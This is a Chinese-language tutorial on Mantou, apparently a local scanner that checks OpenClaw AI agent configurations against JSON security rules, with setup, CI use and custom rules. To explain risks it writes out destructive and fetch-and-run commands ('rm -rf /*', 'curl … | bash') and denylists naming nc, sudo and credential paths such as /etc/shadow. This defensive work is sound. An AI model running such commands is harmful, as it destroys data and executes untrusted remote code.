OpenClaw AI Agent安全检测工具Mantou：本地静态分析与规则引擎详解

1. 项目概述：为什么你的AI Agent需要一个“馒头”？

如果你正在使用或评估OpenClaw来构建AI Agent，那么你很可能已经赋予了这个Agent相当强大的能力：执行Shell命令、访问文件系统、通过多种渠道与外界交互。这就像给一个聪明的助手配了一把万能钥匙，它能帮你处理很多事情，但一个不小心，这把钥匙也可能打开你不想被打开的门。Mantou（馒头）就是为这把“钥匙”量身定做的安全检测仪。它不是云端服务，不收集任何数据，就在你的本地机器上运行，花上10秒钟，就能告诉你当前的Agent配置里藏着哪些致命的安全漏洞。

我见过太多团队在兴奋地部署了功能强大的Agent后，却忽略了最基本的安全配置。结果往往是：Agent被诱导执行了危险命令、敏感文件被意外读取、甚至通过开放的Discord频道收到了恶意指令。这些问题在开发测试阶段可能不明显，一旦进入生产环境，就是悬在头顶的达摩克利斯之剑。Mantou的出现，正是为了解决这种“功能先行，安全后补”的困境。它通过一套覆盖了配置、工具、权限、通道等9大类别、共计69条（且持续增加）的静态规则，对你的OpenClaw部署进行快速“体检”。

它的核心价值在于精准和可操作。它不会只是笼统地警告你“配置不安全”，而是会明确指出：“你的openclaw.json里，shell工具的denylist字段为空，这意味着Agent可以运行任意二进制文件，包括rm -rf /。” 并且会直接给出修复建议：“在denylist中添加[“rm”, “dd”, “mkfs”, “shutdown”]等危险命令。” 对于需要快速迭代的AI应用开发来说，这种即时的、本地化的安全反馈，是集成到CI/CD流程中，实现“安全左移”的理想工具。

2. 核心设计思路：静态分析与规则引擎

Mantou的设计哲学非常清晰：轻量、快速、可扩展。它不依赖于复杂的动态模糊测试或运行时监控，而是采用了以静态分析为主、辅以必要只读系统调用的混合模式。这种选择基于一个现实：绝大多数AI Agent的安全漏洞，根源在于错误的静态配置。分析这些配置，不需要启动Agent本身，从而实现了秒级的检测速度。

2.1 三层扫描架构

Mantou的扫描工作流分为三个层次分明的阶段，这种设计在保证覆盖面的同时，最大限度地减少了侵入性和执行时间。

第一阶段：纯静态分析这是最快的一步。Mantou会读取你的项目根目录下的openclaw.json配置文件，以及相关的提示词文件（如prompts/目录下的内容）。在这个阶段，它只进行文件读取和JSON/YAML解析，不执行任何命令，不产生任何副作用。它可以立即发现诸如硬编码的API密钥、过度宽松的通道访问策略、缺失的关键安全开关（如sandbox模式）等问题。对于CI/CD流水线，如果只希望进行最快速的检查，可以仅运行此阶段。

第二阶段：工具辅助分析此阶段会执行一些只读的、安全的系统命令来获取运行时上下文信息。例如：

• 使用ps命令检查OpenClaw服务进程是否以过高权限（如root）运行。
• 使用uname -r检查操作系统内核版本，判断是否存在已知漏洞。
• 检查工作目录下敏感文件（如.env,id_rsa）的权限位是否设置正确（如是否为600）。 这些命令被精心设计为没有破坏性。如果你在高度受限或隔离的环境（如某些沙箱）中运行，可以使用--skip-tools标志跳过此阶段，完全回归静态分析。

第三阶段：LLM辅助语义分析（规划中）这是Mantou路线图中最具前瞻性的一环。某些安全风险隐藏在自然语言描述的提示词（Prompt）或Agent指令中。例如，提示词里可能写着“如果遇到错误，请将日志文件发送到外部Webhook”，而这个Webhook地址可能指向不安全的服务。通过集成轻量级本地LLM（如通过Ollama运行的模型），Mantou计划对提示词文件进行语义分析，识别出其中隐含的“数据外泄”、“执行外部指令”等风险模式。这能将安全检测从“语法”层面提升到“语义”层面。

2.2 基于JSON的声明式规则引擎

Mantou的强大与灵活，源于其将检测逻辑与引擎核心分离的设计。所有69条默认规则，都以JSON文件的形式存放在mantou/rules/目录下。每条规则都是一个自包含的检测单元，结构清晰。

{ “id”: “TOOL-001”, “enabled”: true, “description”: “Shell工具缺少命令黑名单”, “target”: { “type”: “json”, “file”: “openclaw.json”, “path”: “$.tools.shell.denylist” }, “probe”: { “type”: “value” }, “condition”: { “operator”: “equals”, “value”: null }, “finding”: { “severity”: “critical”, “category”: “tools”, “title”: “Shell denylist absent — agent can run arbitrary binaries”, “detail”: “在shell工具的配置中，denylist字段未定义或为空。这意味着Agent可以被诱导执行任何系统命令，包括格式化磁盘、删除文件等危险操作。”, “remediation”: “在openclaw.json的tools.shell配置节中，添加denylist字段，并至少包含如‘rm’, ‘dd’, ‘mkfs’, ‘shutdown’, ‘sudo’等高风险命令。” } }

这种声明式规则的好处显而易见：

1. 可审计：安全团队可以像审查代码一样审查每一条规则，明确知道它在检查什么，判断逻辑是什么。
2. 可扩展：企业可以根据内部安全规范，轻松编写自定义规则。例如，规定生产环境Agent不得使用gpt-4以外的模型，或者必须启用特定的审计日志。
3. 易于测试：每条规则都可以对应一个测试用例（在tests/fixtures/中），确保规则变更不会引入误报或漏报。
4. 语言无关：规则引擎核心用Python编写，但规则本身是JSON。理论上，可以用任何语言编写一个生成规则JSON的前端，极大地降低了贡献门槛。

注意：规则中的target.path使用了JSONPath语法（类似$.tools.shell.denylist），这是一种用于从JSON文档中提取部分数据的查询语言。掌握基本的JSONPath（如$表示根，.表示子属性，[*]表示数组所有元素）对于编写自定义规则非常有帮助。

3. 快速上手指南：安装与核心扫描

让我们暂时抛开原理，先动手让Mantou跑起来，看看它能在你的项目里发现什么。这是建立直观感受最快的方式。

3.1 环境准备与安装

Mantou要求Python 3.11或更高版本。我强烈推荐使用pipx进行安装，因为它能为Mantou创建一个独立的虚拟环境，避免与你项目已有的Python包依赖发生冲突。如果你还没有pipx，可以先用系统的包管理器安装（如brew install pipx或apt install pipx），然后初始化它。

# 使用pipx安装（推荐） pipx install git+https://github.com/peeweeh/mantou.git # 或者，如果你习惯使用pip，也可以直接安装（建议在虚拟环境中） # python -m venv .venv # source .venv/bin/activate (Linux/macOS) 或 .venv\Scripts\activate (Windows) # pip install git+https://github.com/peeweeh/mantou.git

安装完成后，在终端输入mantou --help，你应该能看到所有可用的命令和选项。这证实安装成功。

3.2 执行你的第一次安全扫描

假设你的OpenClaw项目目录结构如下：

/my-ai-agent/ ├── openclaw.json ├── prompts/ │ └── main.prompt └── ...其他文件

你需要进入这个项目根目录（即openclaw.json所在的目录），然后运行最基本的扫描命令：

cd /path/to/my-ai-agent mantou scan --text

--text参数表示以人类可读的文本格式输出结果。几秒钟后，你会在终端看到类似本章开头示例的输出报告。报告会按严重性（Critical > High > Medium > Low > Info）列出所有发现的问题，每条问题都有唯一的规则ID、简要标题和修复建议。

第一次运行的常见结果与解读： 如果你看到一个CRITICAL级别的CFG-018规则告警，内容是关于“小模型需要沙箱”，这非常普遍。OpenClaw中，如果配置的AI模型能力较弱（或未明确指定模型），为了防止其滥用网络工具，建议启用沙箱模式来限制其工具调用。修复方法通常是在openclaw.json的网关（gateway）配置中设置“sandbox”: true。 另一个高频的CRITICAL告警是TOOL-001，即Shell工具缺少黑名单。这几乎是每个新OpenClaw项目的“标配”风险。你必须立即按照建议，在配置文件中添加denylist。

3.3 扫描命令的实用参数

根据不同的使用场景，你可以灵活组合Mantou的扫描参数：

# 场景一：集成到CI/CD，只关心需要立即处理的中高及以上风险 # 使用 `--min-severity medium` 过滤掉低风险和信息类提示，让报告更聚焦。 mantou scan --text --min-severity medium # 场景二：在CI中，如果发现严重风险，则让构建失败 # `--exit-on critical` 会在发现至少一个CRITICAL级别问题时，使命令以非零状态码退出。 mantou scan --exit-on critical # 在CI脚本中，你可以这样判断：if mantou scan --exit-on critical; then echo “安全检查通过”; else echo “存在严重风险，构建中止”; exit 1; fi # 场景三：将扫描结果接入其他系统（如安全信息与事件管理SIEM、Slack通知） # 使用 `--json` 输出机器可读的JSON格式，方便用jq等工具进行二次处理。 mantou scan --json > scan_results.json # 例如，提取所有严重告警的标题和修复建议 mantou scan --json | jq -r ‘.findings[] | select(.severity == “critical”) | “\(.title): \(.remediation)”’ # 场景四：在受限环境或只想进行快速配置检查时 # 使用 `--skip-tools` 跳过所有需要执行系统命令的检查，仅进行静态文件分析。 mantou scan --text --skip-tools

实操心得：在团队协作中，我建议将mantou scan --text --min-severity high作为开发人员本地提交代码前的必备步骤。可以将它写进pre-commit钩子或Makefile中。对于CI流水线，则使用mantou scan --exit-on critical --json，既能严格卡控，又能生成结构化日志供后续分析。区分使用场景可以避免开发者被过多的信息类提示干扰，又能保证生产部署前的严格审查。

4. 规则详解与高危项剖析

Mantou的69条规则并非凭空而来，每一条都对应着OpenClaw在实际部署中可能遇到的一类真实风险。理解这些规则背后的安全逻辑，能帮助你在配置Agent时建立更强的安全意识。下面我们深入几个最常见也最危险的高危规则家族。

4.1TOOL-*家族：工具链的牢笼

OpenClaw的强大，很大程度上体现在它能为Agent集成的各种工具上。但“能力越大，责任越大”，工具配置不当就是最大的风险源。

• TOOL-001：Shell命令黑名单缺失

  • 风险：这是“王炸”级别的漏洞。如果Agent可以无限制地执行任何Shell命令，攻击者或一个被恶意诱导的Agent就可以rm -rf /*删除服务器所有文件，或者curl http://恶意地址 | bash下载并执行远程脚本。
  • 原理：Mantou检查openclaw.json中tools.shell.denylist字段。如果该字段不存在、为空数组（[]）或为null，则触发此规则。
  • 修复：你必须定义一个非空的denylist。这个名单应该包括：
    • 所有文件系统破坏性命令：rm,dd,mkfs,fdisk,shred。
    • 所有系统控制命令：shutdown,reboot,halt,init。
    • 所有权限提升或用户管理命令：sudo,su,useradd,passwd。
    • 所有网络诊断与攻击工具（如果不需要）：nmap,tcpdump,nc(netcat)。
    • 所有包管理器（根据环境）：apt,yum,dnf,apk,pip,npm（除非你的Agent职责就是管理包）。
  • 进阶配置：除了黑名单，OpenClaw还支持allowlist（白名单）。对于功能极其明确的Agent，使用白名单是更安全的选择——只允许运行明确列出的几个命令。但这对Agent的灵活性限制很大，需要权衡。

• TOOL-005：文件系统敏感路径未限制

  • 风险：Agent可以读取或写入系统关键文件，如/etc/passwd（用户账户信息）、/etc/shadow（密码哈希）、~/.ssh/id_rsa（SSH私钥）、/var/log下的日志（可能包含敏感信息）。
  • 原理：检查tools.filesystem配置中是否定义了denylist或allowlist来限制可访问的路径。如果完全没有路径限制配置，或限制列表明显遗漏了众所周知的敏感路径，则可能触发此规则或其变种。
  • 修复：在文件系统工具配置中，至少添加一个denylist，包含诸如/etc,/root,/home/*/.ssh,/var/log,/proc等目录。更好的做法是使用allowlist，将Agent的文件访问严格限制在其工作目录（如/workspace）和必要的只读资源目录下。

• TOOL-002：高危操作缺少执行前确认

  • 风险：Agent在执行某些高风险操作（如写入文件、发送网络请求）时，没有经过人工确认，可能导致数据被意外覆盖或信息被发送到错误的地方。
  • 原理：检查配置中是否定义了confirm-before-exec列表，并且列表中是否包含了足够多的高风险工具或操作。
  • 修复：在openclaw.json的适当位置（通常是全局配置或特定Agent配置下），添加类似以下的配置：

    “confirm_before_exec”: [“shell”, “filesystem.write”, “http.post”, “http.put”]

    这样，当Agent试图执行Shell命令或进行HTTP POST/PUT请求时，会先向操作者（通过配置的频道如Discord）发送一个确认请求，等待批准后再执行。

4.2CHN-*家族：沟通渠道的守卫

Agent通过频道（Channel）与外界交互，如Discord、Telegram或自定义Webhook。这些渠道的访问控制一旦出错，任何人都可能向你的Agent发送指令。

• CHN-005：Discord群组/公会策略完全开放

  • 风险：如果你的OpenClaw连接了一个公开的Discord服务器（Guild），并且没有限制哪些频道（Channel）或用户（User）可以@你的Agent，那么该服务器里的任何成员，甚至未来加入的任何人，都可以向你的Agent发送指令。
  • 原理：Mantou解析Discord频道配置，检查guildPolicy或channelPolicy。如果发现策略是“*”（通配符，允许所有）或包含的频道ID列表过于宽泛，而服务器本身是公开的，就会触发此规则。
  • 修复：
    1. 最小权限原则：在Discord开发者门户中，将你的Bot邀请链接的权限范围缩到最小。在openclaw.json的频道配置里，使用channelPolicy明确列出允许交互的频道ID，而不是整个服务器。
    2. 使用私有服务器：最好的实践是为你的AI Agent创建一个私有的Discord服务器，只邀请必要的团队成员。
    3. 用户级白名单：如果支持，配置userPolicy，只允许特定的用户ID与Agent交互。

• CHN-007：开放的群组策略结合了危险工具

  • 风险：这是CHN-005的升级版。不仅频道是开放的，而且该频道下的Agent还被授予了运行时（如执行代码）和文件系统工具的访问权限。这意味着攻击者可以在你的服务器上获得一个近乎完整的交互式Shell。
  • 原理：这是一个组合规则。Mantou会关联分析频道配置和分配给该频道的Agent配置。如果频道策略开放，且关联的Agent拥有shell、filesystem或code_interpreter等工具，则触发此高危告警。
  • 修复：这是必须立即修复的配置。要么严格收紧频道访问策略（见CHN-005修复），要么移除此频道下Agent的高风险工具权限，将其功能限制在安全的查询类操作内。

4.3CFG-*与CRED-*家族：基础配置与秘密管理

这类问题通常源于疏忽，但后果同样严重。

• CFG-018：小模型未启用沙箱

  • 风险：使用能力较弱或未指定的模型（“小模型”）时，其逻辑和指令遵循能力可能不足，更容易被精心设计的提示词（Prompt）诱导去滥用其拥有的工具权限，例如反复执行某个网络请求造成DoS，或尝试越权访问文件。
  • 原理：Mantou会检查配置的模型名称（如是否包含gpt-3.5-turbo等较小模型标识）或模型能力参数，并与sandbox配置项进行比对。如果判断为小模型但sandbox未启用或为false，则触发。
  • 修复：在网关配置中明确设置“sandbox”: true。沙箱模式会为工具调用添加额外的防护层，例如限制调用频率、要求二次确认等。对于生产环境，即使使用大模型，启用沙箱也是一个良好的安全实践。

• CRED-*：配置文件中硬编码密钥

  • 风险：将API密钥、数据库密码、访问令牌等秘密信息直接明文写在openclaw.json中。如果该文件被提交到公开的Git仓库，或被有权限访问服务器的人看到，将导致秘密泄露。
  • 原理：Mantou使用正则表达式和关键词匹配，扫描openclaw.json文件内容，寻找类似“api_key”: “sk-...“,“password”: “...“,“token”: “...“这样的模式。
  • 修复：
    1. 使用环境变量：这是最推荐的方式。在配置文件中使用占位符，如“api_key”: “${OPENAI_API_KEY}”，然后在运行环境（如.env文件、Docker环境变量、K8s Secret）中设置实际值。
    2. 使用密钥管理服务：对于云部署，可以使用AWS Secrets Manager、HashiCorp Vault等服务来动态获取密钥。
    3. .gitignore：确保openclaw.json或包含秘密的配置文件被添加到.gitignore中，永远不要提交。

5. 高级用法：自定义规则与集成

当你和你的团队在使用OpenClaw和Mantou一段时间后，必然会积累一些针对自身业务场景的特殊安全要求。Mantou的规则引擎设计从一开始就考虑到了这种可扩展性。

5.1 编写你的第一条自定义规则

假设你们公司规定，所有生产环境的OpenClaw Agent必须使用gpt-4或更高版本的模型，禁止使用gpt-3.5-turbo以保障任务完成质量与安全性。我们可以为此创建一条自定义规则。

首先，在你的OpenClaw项目根目录下创建一个新文件，例如company-security-rules.json：

[ { “id”: “COMPANY-001”, “enabled”: true, “description”: “生产环境禁止使用gpt-3.5-turbo模型”, “target”: { “type”: “json”, “file”: “openclaw.json”, “path”: “$.gateway.model” }, “probe”: { “type”: “value” }, “condition”: { “operator”: “regex_match”, “value”: “.*gpt-3.5-turbo.*” }, “finding”: { “severity”: “high”, “category”: “config”, “title”: “使用了受限的模型(gpt-3.5-turbo)”, “detail”: “根据公司安全策略，生产环境AI Agent必须使用gpt-4或更高版本模型，以确保任务执行的可靠性和安全性。检测到当前配置模型为: {value}。”, “remediation”: “将 gateway.model 配置项修改为允许的模型，如 ‘gpt-4’ 或 ‘gpt-4-turbo’。” } } ]

规则解析：

• id: 自定义规则的唯一标识，建议用公司或团队前缀。
• target: 指定了检查对象。这里检查openclaw.json文件中gateway.model路径的值。
• probe.type:value表示直接获取该路径的值。
• condition: 判断条件。regex_match操作符和“.*gpt-3.5-turbo.*”值意味着，如果模型名称字符串包含“gpt-3.5-turbo”，则条件成立。
• finding: 定义发现问题后的输出内容。{value}是一个占位符，会被实际检测到的值替换。

然后，运行Mantou时，通过--rules参数指定你的自定义规则文件：

mantou scan --text --rules ./company-security-rules.json

Mantou会同时加载内置规则和你的自定义规则进行扫描。如果gateway.model配置的是“gpt-3.5-turbo”，你就会看到一条COMPANY-001的高危告警。

5.2 更复杂的规则：组合条件与文件检查

自定义规则的能力远不止简单的值匹配。假设我们想检查一个更复杂的场景：如果Agent拥有文件系统写权限，那么其工作目录（workspace）不能是系统敏感目录（如/tmp或/home/user的子目录）。

这条规则需要检查两个地方：工具配置和Agent配置。我们可以利用target的“type”: “multi”来实现。

{ “id”: “COMPANY-002”, “enabled”: true, “description”: “具有写权限的Agent，工作目录不能是敏感路径”, “target”: { “type”: “multi”, “targets”: [ { “id”: “has_filesystem_write”, “type”: “json”, “file”: “openclaw.json”, “path”: “$.agents[*].tools[?(@.type==’filesystem’)]” }, { “id”: “agent_workspace”, “type”: “json”, “file”: “openclaw.json”, “path”: “$.agents[*].workspace” } ] }, “probe”: { “type”: “custom”, “module”: “my_custom_checks”, // 假设我们有一个Python模块 “function”: “check_workspace_safety” }, “condition”: { “operator”: “equals”, “value”: false }, “finding”: { “severity”: “high”, “category”: “agents”, “title”: “高风险Agent工作目录配置”, “detail”: “Agent ‘{agent_name}’ 配置了filesystem工具，但其workspace路径 ‘{workspace_path}’ 位于系统敏感目录下，存在数据泄露或破坏风险。”, “remediation”: “为该Agent指定一个独立的、非敏感的目录作为workspace，例如 ‘/opt/ai_agents/{agent_name}_workspace’。” } }

这个例子更高级，它：

1. 通过multi类型的target，一次性从配置中提取了两组数据：所有配置了filesystem工具的Agent，以及所有Agent的workspace路径。
2. 通过probe.type: custom，调用一个外部的Python函数check_workspace_safety来处理这些数据。这个函数需要你自行编写，接收提取的数据，判断每个有文件系统工具的Agent，其工作目录是否安全，返回True或False。
3. condition检查函数返回是否为false（即不安全），从而触发告警。

注意事项：编写自定义的probe函数需要一定的Python编程能力，并且需要将你的模块路径加入到Mantou的扫描路径中。对于大多数场景，使用内置的value、exists、regex_match等探针类型已经足够。只有当规则逻辑非常复杂，需要交叉引用多个配置项或进行自定义计算时，才需要考虑custom探针。

5.3 将Mantou集成到开发流程

要让安全扫描真正发挥作用，必须将其“左移”并自动化到开发流程中。

1. 本地Git预提交钩子（Pre-commit Hook）使用pre-commit框架，在每次git commit前自动运行Mantou扫描，阻止不安全的配置被提交。 在项目根目录创建.pre-commit-config.yaml：

repos: - repo: local hooks: - id: mantou-security-scan name: Mantou Security Scan entry: mantou scan --text --min-severity high language: system pass_filenames: false always_run: true stages: [commit]

然后运行pre-commit install安装钩子。这样，每次提交前都会进行快速安全检查。

2. CI/CD流水线集成在GitHub Actions、GitLab CI或Jenkins中，添加一个安全扫描步骤。 例如，一个简单的GitHub Actions工作流片段：

jobs: security-scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Set up Python uses: actions/setup-python@v5 with: python-version: ‘3.11’ - name: Install Mantou run: pipx install git+https://github.com/peeweeh/mantou.git - name: Run Security Scan run: mantou scan --exit-on critical --min-severity medium

这个步骤会在合并请求（Pull Request）时运行，如果发现严重或中等及以上问题，CI会失败，阻止合并。

3. 与监控系统联动利用--json输出，你可以将Mantou的扫描结果发送到你的监控看板或告警系统。

# 示例：扫描并将结果发送到HTTP端点（如自定义的日志系统） mantou scan --json | curl -X POST -H “Content-Type: application/json” -d @- https://your-logging-service/ingest # 示例：解析JSON，只发送CRITICAL告警到Slack CRITICAL_COUNT=$(mantou scan --json | jq ‘[.findings[] | select(.severity == “critical”)] | length’) if [ $CRITICAL_COUNT -gt 0 ]; then mantou scan --json | jq -c ‘.findings[] | select(.severity == “critical”)’ | while read finding; do curl -X POST -H ‘Content-Type: application/json’ -d “{\“text\“: \“🚨 Mantou Critical Finding: $(echo $finding | jq -r ‘.title’)\“}” $SLACK_WEBHOOK_URL done fi

6. 常见问题排查与实战技巧

在实际使用Mantou的过程中，你可能会遇到一些疑问或报错。以下是我根据经验总结的一些常见问题及其解决方法。

6.1 扫描结果相关

Q1: Mantou报告了一个CRITICAL问题，但我认为在我的上下文中这不是问题，可以忽略吗？A1:可以，但必须谨慎。Mantou的规则是通用的安全最佳实践。如果你确信某个告警在你的特定场景下是误报或可接受风险，你有几种选择：

1. 修改配置以满足规则要求：这通常是最佳选择，能从根本上提升安全性。
2. 创建规则例外：Mantou目前没有内置的“忽略”功能。但你可以通过编写一个更精确的自定义规则来覆盖内置规则。例如，内置规则TOOL-001检查所有shell工具。你可以写一个自定义规则，只对你某个特定的、需要完全权限的“管理员”Agent禁用这条检查（通过更复杂的target和condition实现）。
3. 在CI中调整阈值：在CI脚本中，你可以解析JSON输出，过滤掉特定ID的告警后再判断是否失败。但这增加了复杂性。

核心原则：对于CRITICAL和HIGH级别的问题，团队应该进行评审并记录忽略的原因，而不是简单地关闭检查。

Q2: 扫描速度很慢，尤其是--skip-tools时也不快，为什么？A2:扫描速度主要取决于：

• 配置文件大小和复杂度：如果openclaw.json非常大且嵌套很深，JSONPath查询会稍慢。
• 规则数量：加载和运行69条规则需要时间。
• 文件系统检查：即使跳过工具检查（--skip-tools），Mantou仍会读取相关文件（如提示词文件）进行静态分析。如果提示词文件非常多或非常大，会影响速度。
• 首次运行：首次运行可能需要下载或构建一些内部依赖。优化建议：确保在正确的项目目录（有openclaw.json的目录）下运行。如果提示词文件巨大，考虑是否所有都需要被扫描，未来版本可能会支持目录排除。

6.2 安装与运行相关

Q3: 使用pipx install安装失败，提示Python版本或依赖错误。A3:请按顺序排查：

1. 确认Python版本：运行python3 --version或python --version，确保是3.11或更高。pipx默认使用python3命令。你可以用pipx install --python python3.11 git+...来指定解释器。
2. 升级pipx和pip：运行pipx upgrade-all和pip install --upgrade pip。
3. 网络问题：如果从GitHub克隆仓库超时，可以尝试设置GitHub镜像或使用https://ghproxy.com/等代理（注意：此代理仅为示例，请确保使用合规网络服务）。
4. 依赖冲突：如果是在已有虚拟环境中用pip安装，可能是与其他包冲突。尝试在一个全新的虚拟环境中安装。

Q4: 命令mantou找不到（command not found）。A4:pipx安装的工具，其可执行文件通常位于~/.local/bin目录下。请确保该目录已添加到你的系统PATH环境变量中。

• 在Linux/macOS的~/.bashrc或~/.zshrc中添加：export PATH=“$HOME/.local/bin:$PATH”，然后执行source ~/.bashrc。
• 在Windows上，pipx安装的位置可能需要手动添加到用户环境变量PATH中，通常在%USERPROFILE%\AppData\Roaming\Python\Python3XX\Scripts或%USERPROFILE%\.local\bin。

6.3 规则与配置相关

Q5: 我想贡献一条新规则，该怎么开始？A5:欢迎贡献！请遵循以下流程：

1. 在GitHub仓库开Issue讨论：先描述你发现的安全风险场景，以及你设想的检测规则逻辑。这可以避免重复工作，并获得维护者的反馈。
2. 编写规则JSON：在mantou/rules/目录下创建一个新的.json文件，或修改现有文件。规则格式参考现有文件。
3. 编写测试用例：在tests/fixtures/目录下，创建对应的测试配置文件（一个应触发规则的bad_config.json和一个不应触发的good_config.json），并在tests/目录下添加或更新测试代码。
4. 运行测试：在项目根目录执行pytest tests/ -q -xvs -k <你的规则ID或测试名>，确保你的规则能正确通过测试。
5. 提交Pull Request：包含规则JSON、测试用例和必要的文档更新。

Q6: 如何调试一条规则为什么被触发或不触发？A6:Mantou提供了rules子命令来辅助调试。

# 列出所有规则及其简要描述 mantou rules list # 查看某条规则的详细信息，包括其JSON定义 mantou rules show TOOL-001 # 要更深入地调试，可以结合 `--verbose` 扫描 mantou scan --text --verbose

--verbose模式会输出更详细的日志，显示每条规则执行的过程、提取到的值以及条件判断的结果，这对于理解规则行为非常有帮助。

6.4 实战配置技巧

技巧一：分层配置管理不要直接修改openclaw.json来应对Mantou的告警。建议采用配置分层策略：

1. openclaw.base.json：包含最基础、最安全的配置（严格的denylist，沙箱启用，最小权限频道）。
2. openclaw.dev.json：继承基础配置，但为开发环境放宽一些限制（例如，允许访问本地开发数据库）。
3. openclaw.prod.json：继承基础配置，并添加生产环境特有的严格限制。 使用工具（如jq）或OpenClaw本身的配置继承功能来管理。让Mantou扫描最终使用的配置文件（如openclaw.prod.json）。

技巧二：将Mantou作为配置验证器除了安全扫描，你还可以利用自定义规则来验证配置的正确性和合规性。例如，检查是否所有Agent都设置了正确的description字段，或者是否使用了公司规定的日志格式。这相当于为你的OpenClaw配置增加了一个强大的“Schema+Policy”验证层。

技巧三：定期更新Mantou安全威胁和OpenClaw的功能都在不断演进。定期使用pipx upgrade mantou更新Mantou到最新版本，以获取最新的安全规则和检测能力。可以将此命令加入你的CI流水线或定期运维脚本中。